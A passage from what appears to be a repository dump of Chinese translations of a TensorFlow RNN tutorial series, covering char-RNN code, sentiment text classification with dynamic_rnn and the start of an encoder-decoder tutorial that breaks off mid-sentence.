作为新的输入状态。\n\n```python\nstate = np.zeros([FLAGS.NUM_BATCHES, FLAGS.NUM_HIDDEN_UNITS])\n\nfor step, (input_X, input_y) in enumerate(epoch):\n\tpredictions, total_loss, state, _= model.step(sess, input_X,\n\t\t\t\t\t\t\t\t\t\t input_y, state)\n\ttraining_losses.append(total_loss)\n```\n\n## 五、使用 TF RNN 实现\n\n与上面不同的是，在下面这个实现中，我们将使用 TensorFlow 的 NN 工具来创建 RNN 抽象类。在使用这些类之前，理解这些类的输入内容、内部操作及输出结果是很重要的。由于我们仍然是使用基本的 `rnn_cell`，因此我们将使用截断误差反向传播，但是如果使用 GRU 或 LSTM，就没有必要了。其实，只需将整个数据分割成 `batch_size`，然后处理整个序列就可以了。\n\n```python\ndef rnn_cell(FLAGS):\n\n    # 获取 cell 类型\n    if FLAGS.MODEL == 'rnn':\n        rnn_cell_type = tf.nn.rnn_cell.BasicRNNCell\n    elif FLAGS.MODEL == 'gru':\n        rnn_cell_type = tf.nn.rnn_cell.GRUCell\n    elif FLAGS.MODEL == 'lstm':\n        rnn_cell_type = tf.nn.rnn_cell.BasicLSTMCell\n    else:\n        raise Exception(\"Choose a valid RNN unit type.\")\n\n    # 单一 cell\n    single_cell = rnn_cell_type(FLAGS.NUM_HIDDEN_UNITS)\n\n    # Dropout\n    single_cell = tf.nn.rnn_cell.DropoutWrapper(single_cell,\n        output_keep_prob=1-FLAGS.DROPOUT)\n\n    # 每个状态作为单个 cell\n    stacked_cell = tf.nn.rnn_cell.MultiRNNCell([single_cell] * FLAGS.NUM_LAYERS)\n\n    return stacked_cell\n```\n\n上面的代码创建的是我们特定的 RNN 结构。我们可以从许多不同的 RNN 单元类型中进行选择，但是在这里你可以看到三个最常见的类型（BasicRNN、GRU 和 LSTM）。我们用一定数量的隐藏单元来创建每个 RNN 单元。然后，我们可以在每个单元层之后之后添加一个 Dropout 层来进行正则化处理。最后，我们可以通过复制 `single_cell` 来实现堆叠的 RNN 结构。注意，`state_is_tuple=True` 条件被附加到了 `single_cell` 和 `stacked_cell` 里。这保证了在给定序列的每个输入之后返回一个包含状态的元组。如果使用 LSTM 单元，上述语句为真；否则无视。\n\n```python\ndef rnn_inputs(FLAGS, input_data):\n    with tf.variable_scope('rnn_inputs', reuse=True):\n        W_input = tf.get_variable(\"W_input\",\n            [FLAGS.NUM_CLASSES, FLAGS.NUM_HIDDEN_UNITS])\n\n    # <BATCH_SIZE, seq_len, num_hidden_units>\n    embeddings = tf.nn.embedding_lookup(W_input, input_data)\n    # <seq_len, BATCH_SIZE, num_hidden_units>\n    # BATCH_SIZE will be in columns bc we feed in row by row into RNN.\n    # 1st row = 1st tokens from each batch\n    #inputs = [tf.squeeze(i, [1]) for i in tf.split(1, FLAGS.SEQ_LEN, embeddings)]\n    # NO NEED if using dynamic_rnn(time_major=False)\n    return embeddings\n\ndef rnn_softmax(FLAGS, outputs):\n    with tf.variable_scope('rnn_softmax', reuse=True):\n        W_softmax = tf.get_variable(\"W_softmax\",\n            [FLAGS.NUM_HIDDEN_UNITS, FLAGS.NUM_CLASSES])\n        b_softmax = tf.get_variable(\"b_softmax\", [FLAGS.NUM_CLASSES])\n\n    logits = tf.matmul(outputs, W_softmax) + b_softmax\n    return logits\n```\n\n这里的 `rnn_inputs` 函数与原生 TensorFlow 版本的实现由一些不同。正如你所看到的，我们不再需要 reshape 输入。这是因为 `tf.nn.dynamic_rnn` 会帮我们处理来自 RNN 的 output 和 state。这是一种效率非常高的 RNN 抽象，它还要求输入的数据不被预先 reshape，因此我们所有全部内容都是嵌入的。`rnn_softmax` 类提供的 logits 功能和前面所实现内容的完全一样。\n\n```python\nclass model(object):\n\n    def __init__(self, FLAGS):\n\n        ''' 数据占位符'''\n        self.input_data = tf.placeholder(tf.int32, [None, None])\n        self.targets = tf.placeholder(tf.int32, [None, None])\n\n        ''' RNN 单元 '''\n        self.stacked_cell = rnn_cell(FLAGS)\n        self.initial_state = self.stacked_cell.zero_state(\n            FLAGS.NUM_BATCHES, tf.float32)\n\n        ''' RNN 输入 '''\n        # 嵌入权重 W_input)\n        with tf.variable_scope('rnn_inputs'):\n            W_input = tf.get_variable(\"W_input\",\n                [FLAGS.NUM_CLASSES, FLAGS.NUM_HIDDEN_UNITS])\n        inputs = rnn_inputs(FLAGS, self.input_data)\n\n        ''' RNN 输出 '''\n        # outputs: <seq_len, BATCH_SIZE, num_hidden_units>\n        # state: <BATCH_SIZE, num_layers*num_hidden_units>\n        outputs, state = tf.nn.dynamic_rnn(cell=self.stacked_cell, inputs=inputs,\n                                           initial_state=self.initial_state)\n\n        # <seq_len*BATCH_SIZE, num_hidden_units>\n        outputs = tf.reshape(tf.concat(1, outputs), [-1, FLAGS.NUM_HIDDEN_UNITS])\n\n        ''' 处理 RNN 输出 '''\n        with tf.variable_scope('rnn_softmax'):\n            W_softmax = tf.get_variable(\"W_softmax\",\n                [FLAGS.NUM_HIDDEN_UNITS, FLAGS.NUM_CLASSES])\n            b_softmax = tf.get_variable(\"b_softmax\", [FLAGS.NUM_CLASSES])\n        # Logit\n        self.logits = rnn_softmax(FLAGS, outputs)\n        self.probabilities = tf.nn.softmax(self.logits)\n\n        ''' Loss '''\n        y_as_list = tf.reshape(self.targets, [-1])\n        self.loss = tf.reduce_mean(\n            tf.nn.sparse_softmax_cross_entropy_with_logits(\n                self.logits, y_as_list))\n        self.final_state = state\n\n        ''' 优化 '''\n        self.lr = tf.Variable(0.0, trainable=False)\n        trainable_vars = tf.trainable_variables()\n        # 梯度截断防止梯度消失或梯度爆炸\n        grads, _ = tf.clip_by_global_norm(tf.gradients(self.loss, trainable_vars),\n                                          FLAGS.GRAD_CLIP)\n        optimizer = tf.train.AdamOptimizer(self.lr)\n        self.train_optimizer = optimizer.apply_gradients(\n            zip(grads, trainable_vars))\n\n        # 保存模型的组件\n        self.global_step = tf.Variable(0, trainable=False)\n        self.saver = tf.train.Saver(tf.all_variables())\n```\n\n还要注意的是，我们不会手动的在嵌入之前对输入 token 进行独热编码，这是因为`rnn_inputs` 函数里的  `tf.nn.embedding_lookup` 会自动帮我们完成。\n\n为了生成输出，我们使用了 `tf.nn.dynamic_rnn` ，其输出结果为每个输入的输出以及返回状态（即包含上一次每个输入批次的状态的元组）。最后，我们将输出进行了 reshape ，从而得到 logits 概率并用于与 targets 进行比较。\n\n注意到 `self.initial_state` 由 `stacked_cell.zero_state` 初始化，我们只需要指定的 `batch_size` 就够了。对于这里的 `NUM_BATCHES` 请查看前面的张量形状一节中的说明。有一种替代方法可以不包含初始状态，`dynamic_rnn()` 会自行处理，我们所需要做的就是指定数据类型（即`dtype = tf.float32` 等)。可惜我们并不能这样做，因为我们要把序列的 `final_state` 作为了下一个序列的 `initial_state` 。你可能还会注意到，尽管 `self.initial_state` 不是占位符，我们还是把前一次 `final_state` 传给了新的 `initial_state`。当然，我们可以通过重新定义 `step()` 里的 `self.initial_state` 来输入自己的初始值。不管怎样，一旦用到 `input_feeds` ，我们就需要计算 `output_feed`，而如果没有用到，那么就会跳回使用重载之前的值（也就是 `stacked_cell.zero_state`）。\n\n```python\ndef step(self, sess, batch_X, batch_y, initial_state=None):\n\n    if initial_state == None:\n        input_feed = {self.input_data: batch_X,\n                      self.targets: batch_y}\n    else:\n        input_feed = {self.input_data: batch_X,\n                      self.targets: batch_y,\n                      self.initial_state: initial_state}\n\n    output_feed = [self.loss,\n                   self.final_state,\n                   self.logits,\n                   self.train_optimizer]\n    outputs = sess.run(output_feed, input_feed)\n    return outputs[0], outputs[1], outputs[2], outputs[3]\n```\n\n## 结果\n\n我们来看看结果。这绝不是一种惊天动地的创造，但我确实是用了 `temperature` 而不是 `argmax` 进行生成。因此，我们可以看到生成结果里包含很多新奇的创意，但同时错误也很多（包括语法、拼写、排序等）。我只让网络训练了 10 轮，但已经开始看到单词和句子结构了，甚至还能看到每个角色的表演台词（数据集是莎士比亚的作品）。为了获得不错的结果，可以让它通宵在 GPU 上进行训练。\n\n看到这，估计连莎士比亚都要给跪了。\n\n![Inline image 1](https://mail.google.com/mail/u/0/?ui=2&ik=d006c59970&view=fimg&th=1581decebd5ad068&attid=0.1&disp=emb&realattid=ii_1581decde193b589&attbid=ANGjdJ8r_gfurE4BhEYCCJ_-tXVhe4tnxHp3tXtGHBO9tPDDqLBErfAbwUjgLzBJVr0DhtjWIU3hB6Ut0YMnaHAHqBnZQx9IU1FcTsC4yJBvvroguIEldoeR0EFxaBU&sz=w1124-h480&ats=1477970844577&rm=1581decebd5ad068&zw&atsh=1)\n\n**更新**：我对典型输入、输出和状态张量的形状有很多疑问。\n\n* **输入**：[num_batches, seq_len, num_classes]\n* **输出**：[num_batches, seq_len, num_hidden_units] （每个状态的全部输出）\n* **状态**：[num_batches, num_hidden_units] （上一次状态的输出）\n\n在下一篇文章中，我们将处理变长序列，展示文本分类的具体实现。\n\n## **代码**\n\n**[GitHub 仓库](https://github.com/ajarai/the-neural-perspective/tree/master/recurrent-neural-networks/char_rnn) （正在更新，敬请期待！）** \n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/recurrent-neural-networks-rnn-part-2-text-classification.md",
    "content": "\n> * 原文地址：[RECURRENT NEURAL NETWORKS (RNN) – PART 2: TEXT CLASSIFICATION](https://theneuralperspective.com/2016/10/06/recurrent-neural-networks-rnn-part-2-text-classification/)\n> * 原文作者：[GokuMohandas](https://twitter.com/GokuMohandas)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-2-text-classification.md](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-2-text-classification.md)\n> * 译者：[Changkun Ou](https://github.com/changkun)\n> * 校对者：[yanqiangmiffy](https://github.com/yanqiangmiffy), [TobiasLee](https://github.com/TobiasLee)\n\n**本系列文章汇总**\n\n1. [RNN 循环神经网络系列 1：基本 RNN 与 CHAR-RNN](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-1-basic-rnn-char-rnn.md)\n2. [RNN 循环神经网络系列 2：文本分类](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-2-text-classification.md)\n3. [RNN 循环神经网络系列 3：编码、解码器](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-3-encoder-decoder.md)\n4. [RNN 循环神经网络系列 4：注意力机制](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-4-attentional-interfaces.md)\n5. [RNN 循环神经网络系列 5：自定义单元](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-5-custom-cells.md)\n\n# RNN 循环神经网络系列 2：文本分类\n\n在第一篇文章中，我们看到了如何使用 TensorFlow 实现一个简单的 RNN 架构。现在我们将使用这些组件并将其应用到文本分类中去。主要的区别在于，我们不会像 CHAR-RNN 模型那样输入固定长度的序列，而是使用长度不同的序列。\n\n## 文本分类\n\n这个任务的数据集选用了来自 Cornell 大学的[语句情绪极性数据集 v1.0](http://www.cs.cornell.edu/people/pabo/movie-review-data/)，它包含了 5331 个正面和负面情绪的句子。这是一个非常小的数据集，但足够用来演示如何使用循环神经网络进行文本分类了。\n\n我们需要进行一些预处理，主要包括标注输入、附加标记（填充等）。请参考[完整代码](https://github.com/ajarai/the-neural-perspective/tree/master/recurrent-neural-networks/text_classification)了解更多。\n\n## 预处理步骤\n\n1. 清洗句子并切分成一个个 token；\n2. 将句子转换为数值 token；\n3. 保存每个句子的序列长。\n\n![Screen Shot 2016-10-05 at 7.32.36 PM.png](https://theneuralperspective.files.wordpress.com/2016/10/screen-shot-2016-10-05-at-7-32-36-pm.png?w=620)\n\n如上图所示，我们希望在计算完成时立即对句子的情绪做出预测。引入额外的填充符会带来过多噪声，这样的话你模型的性能就会不太好。**注意**：我们填充序列的唯一原因是因为需要以固定大小的批量输入进 RNN。下面你会看到，使用动态 RNN 还能避免在序列完成后的不必要计算。\n\n## 模型\n\n代码：\n\n```python\nclass model(object):\n\n    def __init__(self, FLAGS):\n\n        # 占位符\n        self.inputs_X = tf.placeholder(tf.int32,\n            shape=[None, None], name='inputs_X')\n        self.targets_y = tf.placeholder(tf.float32,\n            shape=[None, None], name='targets_y')\n        self.dropout = tf.placeholder(tf.float32)\n\n        # RNN 单元\n        stacked_cell = rnn_cell(FLAGS, self.dropout)\n\n        # RNN 输入\n        with tf.variable_scope('rnn_inputs'):\n            W_input = tf.get_variable(\"W_input\",\n                [FLAGS.en_vocab_size, FLAGS.num_hidden_units])\n\n        inputs = rnn_inputs(FLAGS, self.inputs_X)\n        #initial_state = stacked_cell.zero_state(FLAGS.batch_size, tf.float32)\n\n        # RNN 输出\n        seq_lens = length(self.inputs_X)\n        all_outputs, state = tf.nn.dynamic_rnn(cell=stacked_cell, inputs=inputs,\n            sequence_length=seq_lens, dtype=tf.float32)\n\n        # 由于使用了 seq_len[0]，state 自动包含了上一次的对应输出\n        # 因为 state 是一个带有张量的元组\n        outputs = state[0]\n\n        # 处理 RNN 输出\n        with tf.variable_scope('rnn_softmax'):\n            W_softmax = tf.get_variable(\"W_softmax\",\n                [FLAGS.num_hidden_units, FLAGS.num_classes])\n            b_softmax = tf.get_variable(\"b_softmax\", [FLAGS.num_classes])\n\n        # Logits\n        logits = rnn_softmax(FLAGS, outputs)\n        probabilities = tf.nn.softmax(logits)\n        self.accuracy = tf.equal(tf.argmax(\n            self.targets_y,1), tf.argmax(logits,1))\n\n        # 损失函数\n        self.loss = tf.reduce_mean(\n            tf.nn.sigmoid_cross_entropy_with_logits(logits, self.targets_y))\n\n        # 优化\n        self.lr = tf.Variable(0.0, trainable=False)\n        trainable_vars = tf.trainable_variables()\n        # 使用梯度截断来避免梯度消失和梯度爆炸\n        grads, _ = tf.clip_by_global_norm(\n            tf.gradients(self.loss, trainable_vars), FLAGS.max_gradient_norm)\n        optimizer = tf.train.AdamOptimizer(self.lr)\n        self.train_optimizer = optimizer.apply_gradients(\n            zip(grads, trainable_vars))\n\n        # 下面是用于采样的值\n        # (在每个单词后生成情绪)\n\n        # 取所有输出作为第一个输入序列\n        # (由于采样，只需一个输入序列)\n        sampling_outputs = all_outputs[0]\n\n        # Logits\n        sampling_logits = rnn_softmax(FLAGS, sampling_outputs)\n        self.sampling_probabilities = tf.nn.softmax(sampling_logits)\n\n        # 保存模型的组件\n        self.global_step = tf.Variable(0, trainable=False)\n        self.saver = tf.train.Saver(tf.all_variables())\n\n    def step(self, sess, batch_X, batch_y=None, dropout=0.0,\n        forward_only=True, sampling=False):\n\n        input_feed = {self.inputs_X: batch_X,\n                      self.targets_y: batch_y,\n                      self.dropout: dropout}\n\n        if forward_only:\n            if not sampling:\n                output_feed = [self.loss,\n                               self.accuracy]\n            elif sampling:\n                input_feed = {self.inputs_X: batch_X,\n                              self.dropout: dropout}\n                output_feed = [self.sampling_probabilities]\n        else: # 训练\n            output_feed = [self.train_optimizer,\n                           self.loss,\n                           self.accuracy]\n\n        outputs = sess.run(output_feed, input_feed)\n\n        if forward_only:\n            if not sampling:\n                return outputs[0], outputs[1]\n            elif sampling:\n                return outputs[0]\n        else: # 训练\n            return outputs[0], outputs[1], outputs[2]\n```\n\n上面的代码就是我们的模型代码，它在训练的过程中使用了输入的文本。**注意**：为了清楚起见，我们决定将批量数据的大小保存在我们的输入和目标占位符中，但是我们应该让它们独立于一个特定的批量大小之外。由于这个特定的批量大小依赖于 `batch_size`，如果我们这么做，那么我们就还得输入一个 `initial_state`。我们通过嵌入他们来为每个数据序列来输入 token。实践策略表明，我们在输入文本上使用 skip-gram 模型预训练嵌入权重能够取得更好的性能。\n\n在此模型中，我们再次使用 `dynamic_rnn`，但是这次我们提供了`sequence_length` 参数的值，它是一个包含每个序列长度的列表。这样，我们就可以避免在输入序列的最后一个词之后进行的不必要的计算。**`length`** 函数就用来获取这个列表的长度，如下所示。当然，我们也可以在外面计算`seq_len`，再通过占位符进行传递。\n\n```python\ndef length(data):\n\trelevant = tf.sign(tf.abs(data))\n\tlength = tf.reduce_sum(relevant, reduction_indices=1)\n\tlength = tf.cast(length, tf.int32)\n\treturn length\n```\n\n由于我们填充符 token 为 0，因此可以使用每个 token 的 sign 性质来确定它是否是一个填充符 token。如果输入大于 0，则 `tf.sign` 为 1；如果输入为 0，则为 `tf.sign` 为 0。这样，我们可以逐步通过列索引来获得 sign 值为正的 token 数量。至此，我们可以将这个长度提供给 `dynamic_rnn` 了。\n\n**注意**：我们可以很容易地在外部计算 `seq_lens`，并将其作为占位符进行传参。这样我们就不用依赖于 `PAD_ID = 0` 这个性质了。\n\n一旦我们从 RNN 拿到了所有的输出和最终状态，我们就会希望分离对应输出。对于每个输入来说，将具有不同的对应输出，因为每个输入长度不一定不相同。由于我们将 `seq_len` 传给了 `dynamic_rnn`，而 `state` 又是最后一个对应输出，我们可以通过查看 `state` 来找到对应输出。注意，我们必须取 `state[0]`，因为返回的 `state` 是一个张量的元组。\n\n其他需要注意的事情：我并没有使用 **`initial_state`**，而是直接给 `dynamic_rnn` 设置 `dtype`。此外，`dropout` 将根据 `forward_only` 与否，作为参数传递给 **`step()`**。\n\n## 推断\n\n总的来说，除了单个句子的预测外，我还想为具有一堆样本句子整体情绪进行预测。我希望看到的是，每个单词都被 RNN 读取后，将之前的单词分值保存在内存中，从而查看预测分值是怎样变化的。举例如下（值越接近 0 表明越靠近负面情绪）：\n\n![Screen Shot 2016-10-05 at 8.34.51 PM.png](https://theneuralperspective.files.wordpress.com/2016/10/screen-shot-2016-10-05-at-8-34-51-pm.png?w=620)\n\n**注意**：这是一个非常简单的模型，其数据集非常有限。主要目的只是为了阐明它是如何搭建以及如何运行的。为了获得更好的性能，请尝试使用数据量更大的数据集，并考虑具体的网络架构，比如 Attention 模型、Concept-Aware 词嵌入以及隐喻（symbolization to name）等等。\n\n## 损失屏蔽（这里不需要）\n\n最后，我们来计算 cost。你可能会注意到我们没有做任何损失屏蔽（loss masking）处理，因为我们分离了对应输出，仅用于计算损失函数。然而，对于其他诸如机器翻译的任务来说，我们的输出很有可能还来自填充符 token。我们不想考虑这些输出，因为传递了 `seq_lens` 参数的 `dynamic_rnn` 将返回 0。下面这个例子比较简单，只用来说明这个实现大概是怎么回事；我们这里再一次使用了填充符 token 为 0 的性质：\n\n```python\n# 向量化 logits 和目标\ntargets = tf.reshape(targets, [-1]) # 将张量 targets 转为向量\nlosses = tf.nn.sparse_softmax_cross_entropy_with_logits(logits, targets)\nmask = tf.sign.(tf.to_float(targets)) # targets 为 0 则输出为 0, target < 0 则输出为 -1, 否则 为 1\nmasked_losses = mask*losses # 填充符所在位置的贡献为 0\n```\n\n首先我们要将 logits 和 targets 向量化。为了使 logits 向量化，一个比较好的办法是将 `dynamic_rnn` 的输出向量化为 `[-1，num_hidden_units]` 的形状，然后乘以 softmax 权重 `[num_hidden_units，num_classes]`。通过损失屏蔽操作，就可以消除填充符所在位置贡献的损失。\n\n## **代码**\n\n**[GitHub 仓库](https://github.com/GokuMohandas/the-neural-perspective/tree/master/recurrent-neural-networks) （正在更新，敬请期待！）**\n\n## 张量形状变化的参考\n\n原始未处理过的文本 `X` 形状为 `[N,]` 而 `y` 的形状为 `[N, C]`，其中 `C` 是输出类别的数量（这些是手动完成的，但我们需要使用独热编码来处理多类情况）。\n\n然后 `X` 被转化为 token 并进行填充，变成了 `[N, <max_len>]`。我们还需要传递形状为 `[N,]` 的 `seq_len` 参数，包含每个句子的长度。\n\n现在 `X`、`seq_len` 和 `y` 通过这个模型首先嵌入为 `[NXD]`，其中 D 是嵌入维度。`X` 便从 `[N, <max_len>]` 转换为了 `[N, <max_len>, D]`。回想一下，X 在这里有一个中间表示，它被独热编码为了 `[N, <max_len>, <num_words>]`。但我们并不需要这么做，因为我们只需要使用对应词的索引，然后从词嵌入权重中取值就可以了。\n\n我们需要将这个嵌入后的 `X` 传递给 `dynamic_rnn` 并返回 `all_outputs` （`[N, <max_len>, D]`）以及 `state`（`[1, N, D]`）。由于我们输入了 `seq_lens`，对于我们而言它就是最后一个对应的状态。从维度的角度来说，你可以看到， `all_outputs` 就是来自 RNN 的对于每个句子中的每个词的全部输出结果。然而，`state` 仅仅只是每个句子的最后一个对应输出。\n\n现在我们要输入 softmax 权重，但在此之前，我们需要通过取第一个索引（`state[0]`）来把状态从 `[1,N,D]` 转换为`[N,D]`。如此便可以通过与 softmax 权重 `[D,C]` 的点积，来得到形状为 `[N,C]` 的输出。其中，我们做指数级 softmax 运算，然后进行正则化，最终结合形状为 `[N,C]` 的 `target_y` 来计算损失函数。\n\n**注意**：如果你使用了基本的 RNN 或者 GRU，从 `dynamic_rnn` 返回的 `all_outputs` 和 `state` 的形状是一样的。但是如果使用 LSTM 的话，`all_outputs` 的形状就是 `[N, <max_len>, D]` 而 `state` 的形状为 `[1, 2, N, D]`。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/recurrent-neural-networks-rnn-part-3-encoder-decoder.md",
    "content": "\n> * 原文地址：[RECURRENT NEURAL NETWORKS (RNN) – PART 3: ENCODER-DECODER](https://theneuralperspective.com/2016/11/20/recurrent-neural-networks-rnn-part-3-encoder-decoder/)\n> * 原文作者：[GokuMohandas](https://twitter.com/GokuMohandas)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-3-encoder-decoder.md](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-3-encoder-decoder.md)\n> * 译者：[Changkun Ou](https://github.com/changkun)\n> * 校对者：[zcgeng](https://github.com/zcgeng)\n\n**本系列文章汇总**\n\n1. [RNN 循环神经网络系列 1：基本 RNN 与 CHAR-RNN](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-1-basic-rnn-char-rnn.md)\n2. [RNN 循环神经网络系列 2：文本分类](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-2-text-classification.md)\n3. [RNN 循环神经网络系列 3：编码、解码器](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-3-encoder-decoder.md)\n4. [RNN 循环神经网络系列 4：注意力机制](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-4-attentional-interfaces.md)\n5. [RNN 循环神经网络系列 5：自定义单元](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-5-custom-cells.md)\n\n# RNN 循环神经网络系列 3：编码、解码器\n\n在本文中，我将介绍基本的编码器（encoder）和解码器（decoder），用于处理诸如机器翻译之类的 seq2seq 任务。我们不会在这篇文章中介绍注意力机制，而在下一篇文章中去实现它。\n\n如下图所示，我们将输入序列输入给编码器，然后将生成一个最终的隐藏状态，并将其输入到解码器中。即编码器的最后一个隐藏状态就是解码器的新初始状态。我们将使用 softmax 来处理解码器输出，并将其与目标进行比较，从而计算我们的损失函数。你可以从[这篇博文](https://theneuralperspective.com/2016/10/02/sequence-to-sequence-learning-with-neural-network/)中找到更多关于我对原始论文中提出这个模型的介绍。这里的主要区别在于，我没有向编码器的输入添加 EOS（译注：句子结束符，end-of-sentence）token，同时我也没有让编码器对句子进行反向读取。\n\n![Screen Shot 2016-11-19 at 4.48.03 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-19-at-4-48-03-pm.png?w=620)\n\n## 数据\n\n我想创建一个非常小的数据集来使用（20 个英语和西班牙语的句子）。本教程的重点是了解如何构建一个编码解码器系统，而不是去关注这个系统对诸如机器翻译和其他 seq2seq 处理等任务的处理。所以我自己写了几个句子，然后把它们翻译成西班牙语。这就是我们的数据集。\n\n首先，我们将这些句子分隔为 token，然后将这些 token 转换为 token ID。在这个过程中，我们收集一个词汇字典和一个反向词汇字典，以便在 token 和 token ID 之间来回转换。对于我们的目标语言（西班牙语）来说，我们将添加一个额外的 EOS token。然后，我们会将源 token 和目标 token 都填充到（对应数据集中最长句子的）最大长度。这是我们模型的输入数据。对于编码器而言，我们将填充后的源内容直接进行输入，而对于目标内容做进一步处理，以获得我们的解码器输入和输出。\n\n最后，输入结果是这个样子的：\n\n![Screen Shot 2016-11-19 at 4.20.54 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-19-at-4-20-54-pm.png?w=620)\n\n这只是某个批次中的一个样本。其中 0 是填充的值，1 是 GO token，2 则是 EOS token。下图是数据变换更一般的表示形式。请无视目标权重，我们不会在实现中使用它们。\n\n![screen-shot-2016-11-16-at-5-09-10-pm](https://theneuralperspective.files.wordpress.com/2016/10/screen-shot-2016-11-16-at-5-09-10-pm.png?w=620)\n\n## 编码器\n\n编码器只接受编码器的输入，而我们唯一关心的是最终的隐藏状态。这个隐藏的状态包含了所有输入的信息。我们不会像原始论文所建议的那样反转编码器的输入，因为我们使用的是 `dynamic_rnn` 的 `seq_len`。它会基于 `seq_len` 自动返回最后一个对应的隐藏状态。\n\n```python\nwith tf.variable_scope('encoder') as scope:\n\n    # RNN 编码器单元\n    self.encoder_stacked_cell = rnn_cell(FLAGS, self.dropout,\n        scope=scope)\n\n    # 嵌入 RNN 编码器输入\n    W_input = tf.get_variable(\"W_input\",\n        [FLAGS.en_vocab_size, FLAGS.num_hidden_units])\n    self.embedded_encoder_inputs = rnn_inputs(FLAGS,\n        self.encoder_inputs, FLAGS.en_vocab_size, scope=scope)\n    #initial_state = encoder_stacked_cell.zero_state(FLAGS.batch_size, tf.float32)\n\n    # RNN 编码器的输出\n    self.all_encoder_outputs, self.encoder_state = tf.nn.dynamic_rnn(\n        cell=self.encoder_stacked_cell,\n        inputs=self.embedded_encoder_inputs,\n        sequence_length=self.en_seq_lens, time_major=False,\n        dtype=tf.float32)\n```\n\n我们将使用这个最终的隐藏状态作为解码器的新初始状态。\n\n## 解码器\n\n这个简单的解码器将编码器的最终的隐藏状态作为自己的初始状态。我们还将接入解码器的输入，并使用 RNN 解码器来处理它们。输出的结果将通过 softmax 进行归一化处理，然后与目标进行比较。注意，解码器输入从一个 GO token 开始，从而用来预测第一个目标 token。解码器输入的最后一个对应的 token 则是用来预测 EOS 目标 token 的。\n\n```python\nwith tf.variable_scope('decoder') as scope:\n\n    # 初始状态是编码器的最后一个对应状态\n    self.decoder_initial_state = self.encoder_state\n\n    # RNN 解码器单元\n    self.decoder_stacked_cell = rnn_cell(FLAGS, self.dropout,\n        scope=scope)\n\n    # 嵌入 RNN 解码器输入\n    W_input = tf.get_variable(\"W_input\",\n        [FLAGS.sp_vocab_size, FLAGS.num_hidden_units])\n    self.embedded_decoder_inputs = rnn_inputs(FLAGS, self.decoder_inputs,\n        FLAGS.sp_vocab_size, scope=scope)\n\n    # RNN 解码器的输出\n    self.all_decoder_outputs, self.decoder_state = tf.nn.dynamic_rnn(\n        cell=self.decoder_stacked_cell,\n        inputs=self.embedded_decoder_inputs,\n        sequence_length=self.sp_seq_lens, time_major=False,\n        initial_state=self.decoder_initial_state)\n```\n\n那填充值会发生什么呢？它们也会预测一些输出目标，而我们并不关心这些内容，但如果我们把它们考虑进去，它们仍然会影响我们的损失函数。接下来我们将屏蔽掉这些损失以消除对目标结果的影响。\n\n## 损失屏蔽\n\n我们会检查目标，并将目标中被填充的部分屏蔽为 0。因此，当我们获得最后一个有关的解码器 token 时，目标就会是表示 EOS 的 token ID。而对于下一个解码器的输入而言，目标就会是 PAD ID，这也就是屏蔽开始的地方。\n\n```python\n# Logit\nself.decoder_outputs_flat = tf.reshape(self.all_decoder_outputs,\n    [-1, FLAGS.num_hidden_units])\nself.logits_flat = rnn_softmax(FLAGS, self.decoder_outputs_flat,\n    scope=scope)\n\n# 损失屏蔽\ntargets_flat = tf.reshape(self.targets, [-1])\nlosses_flat = tf.nn.sparse_softmax_cross_entropy_with_logits(\n    self.logits_flat, targets_flat)\nmask = tf.sign(tf.to_float(targets_flat))\nmasked_losses = mask * losses_flat\nmasked_losses = tf.reshape(masked_losses,  tf.shape(self.targets))\nself.loss = tf.reduce_mean(\n    tf.reduce_sum(masked_losses, reduction_indices=1))\n```\n\n注意到可以使用 PAD ID 为 0 